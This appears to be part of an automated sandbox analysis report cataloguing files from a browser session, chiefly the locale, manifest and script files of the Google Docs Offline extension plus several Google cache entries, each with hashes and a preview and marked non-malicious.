SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.748240576105777
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvatpGcT44iU:m8IEI4u8RAJ
MD5:	6C41F52EBF3C6868F14E2687F7D9D6B2
SHA1:	2F08EBD8740E1D64B299E6430E3317DBAF7F47D9
SHA-256:	8A2DA780B5C51A957347195D86E1FCE3598606224754FCAE97DDCED4942116B4
SHA-512:	F16CC71BB99B6E1FC4D4039C35C3181EF4CB3E3F99322C7D531FAF3F3B0686042B9C31CDF0683A2656E7F6DBBD75A59D19C174025134DC3DD74036F8BCFD1F9F
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.418203238250739
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1I9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APIgiVb
MD5:	98ADC38C4318ADD89C5B01401DEBFCF9
SHA1:	459C2B7228F30F1AAB9857ADA1B24199B781B8DF
SHA-256:	963D84356FF71F7B650A0D717B3BE4B0C0D8A7763FCE3F2886CD72A5FAB36750
SHA-512:	E7E99DF691584B137957407CB8077D84D7AFE070F10293D1FB16B37F9732355065F0C1118A657FFF0C89CC8A38E9F98337526FB35380C8F38CB88243CE2344F0
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4882)
Category:	dropped
Size (bytes):	122936
Entropy (8bit):	5.440289251010934
Encrypted:	false
SSDEEP:	1536:Lk7iwewEeGwmupwkcEERDvCouvhX+I7W4u1UxxxTMFtASiKICMGLbQDRXJinxdRV:yDVnEIX+Iy4kcMtASiKx3bmMx4w
MD5:	B5EA8B89F4500FB68BD6481B4FF52ABC
SHA1:	8E849F07EFF831D2058708288AD93C22705AB8A2
SHA-256:	F6CC11D4A3A43B11D9408E9D2366D6388BF8733D68188CCD2969F7492D14B857
SHA-512:	8741FD18A57C69F803F170B61E2CB133C52B79975BE500F18471A7033A95C5677F7A50E0560068E21CDD1ED64A84FDB51B937D33C78F9712F367EB53576C84DA
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function k(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7496_2032493849\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4884)
Category:	dropped
Size (bytes):	131585
Entropy (8bit):	5.429091031410368
Encrypted:	false
SSDEEP:	1536:M8uFrRy3O7BJohnbano/ANBC85Yw8CmXhpD9XLcc24vYzBqvKJ4EMFagkYr1SWOP:cAmnq00pXhN9XNCBqvKJMYk1VFwBf
MD5:	AB7114131BE9625C6DA56A2EF9C11260
SHA1:	5D264FB04E2D4866B29484A8D24CB88AB6D76BCB
SHA-256:	BE65FDD71CD523B7E759D918E04AA2DD7CBE5F907570BB5BC367456796AA888A
SHA-512:	477D20556C00FA76BF5246723EB4A251228D20666551BD22B8469CCAB04B0135A0F3F08B9A660FF01F7BBF82895F455E06CA3DA5D1DF6DD3A5A03D932FFFA38E
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function h(){return function(){}}function n(a){return function(){return this[a]}}function ba(a){return function(){return a}}var q;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var fa=ea(this);function r(a,b){if(b)a:{var c=fa;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new T

Chrome Cache Entry: 447

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2486)
Category:	downloaded
Size (bytes):	171995
Entropy (8bit):	5.554042640484061
Encrypted:	false
SSDEEP:	3072:y/lsND4sXkxjNoTHfyMS2Tby/08VVjlA2EXBC+UBNwWE5xDuiNzxAZJbavA13caA:ydsN0cajNoTHtS2Tm/08VVjl9EXBC+UQ
MD5:	7413A927408156955ECB47180CD87365
SHA1:	5ADF880FA77A22D1F373E3698BEC423392424A8E
SHA-256:	3E14BC909B3CF81D66CA0E70F1A0C86DC7591DEFE34BC3D96C983C8C9976A562
SHA-512:	F6BBEE0AB698BEAC42BBE62DFCBAEBFD053916411614530BBAFC063BD044FEF1F271BEBE7FC11B9C9AFBABE4682487E3CA5832C40D733F5911ADBEC19B1A2EDF
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.GeV8o4Zu9xM.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTtTjPD_83NeleSxfEZ7rTB5vRKbgA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Zi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.$i=class extends _.Q{constructor(a){super(a)}};.}catch(e){_._DumpException(e)}.try{._.aj=function(a,b,c){a=_.vb(a,b,c);return Array.isArray(a)?a:_.Cc};_.bj=function(a,b){a=2&b?a\|2:a&-3;return(a\|32)&-2049};_.cj=function(a,b){a===0&&(a=_.bj(a,b));return a\|1};_.dj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.ej=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.fj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);const k=h?1:e;f=!!f;g&&(g=!h);e=_.aj(a,b,d);var l=e[_.v]\|0;h=!!(4&l);if(!h){l=_.cj(l,b);var m=e,p=l,r=b;(l=!!(2&p))&&(r\|=2);var q=!l;let x=!0,D=0,C=0;for(;D<m.length;D++){const H=_.Xa(m[D],c,r);if(H instanceof c){if(!l){const L=_.Ba(H.ha);q&&(q=!L);x&&(x=L)}m[C++]=H}}C<D&&(m.length=C);c=p\|4;p=x?c\|16:c&-17;p=q?p\|8:p&-9;m[_.v]=p;l&&Object.freeze(m);l=p}if(g&&!(8&l\|\|!e.length&&(k===1\|\|k===4&&32&l))){_.dj(l)&&(e=_.Ea(e),l=_.bj(l,b),b=_.ub(a,b,d,e));g=.e;c=l;for(m=0;m<g

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (875)
Category:	downloaded
Size (bytes):	880
Entropy (8bit):	5.120168780891308
Encrypted:	false
SSDEEP:	24:/n0DHiMelWBHslgT9lCuABATYuNFU7HHHHHHHYqmffffffo:/0LWQKlgZ01BAUuN+Eqmffffffo
MD5:	0B8066F9B68AC68F19092A2A582D7DBD
SHA1:	2AA2E459916D361438AA399C9E5B6C8642570190
SHA-256:	091DF572FB231855943C5DA0C08CC9C3E11B75B921AD82CE4AD168EA08296DED
SHA-512:	CDEC27753AF723104721468E17CEDE8770A5A2AF18A8F2EC02E44A575429F6CC2DB90EEFAC8752CE19E10D80D105609EFBEE5C48C1AD02CAD1315905AFCA5B41
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["solo leveling release date","punxsutawney phil groundhog day 2025","penn state iowa wrestling match","target boycott dei","fortnite og season 2 battle pass","young and the restless weekly spoilers","david benavidez vs david morrell fight","rockstar games gta 6 release date"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggesteventid":"-5243034353650132020","google:suggestrelevance":[1255,1254,1253,1252,1251,1250,601,600],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133123
Entropy (8bit):	5.434062841323821
Encrypted:	false
SSDEEP:	3072:TYktb5kXaZyPYUfvwRnl0sGdV5zVIoGcT:Txb+o8YUfvwRnl0sGdfzVI8T
MD5:	572D0373A5CE7C233CFAB2F614CFD104
SHA1:	7EC59E34B08F6A5D039DCE665EE38648C344108C
SHA-256:	2E39BBA96567E11254AAEC9A2E569C93576A690DC0DA7372C5910F3574D214DC
SHA-512:	EBD4B9DB767E4818FAFB2DAF67495D4B33BA6EEAB6DA4CBF6B9A71E07021AC6DF52FD01E30F3EA8038B760EF17A879ABE4CE04D503F5E4EFC8880888D8DD4D29
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
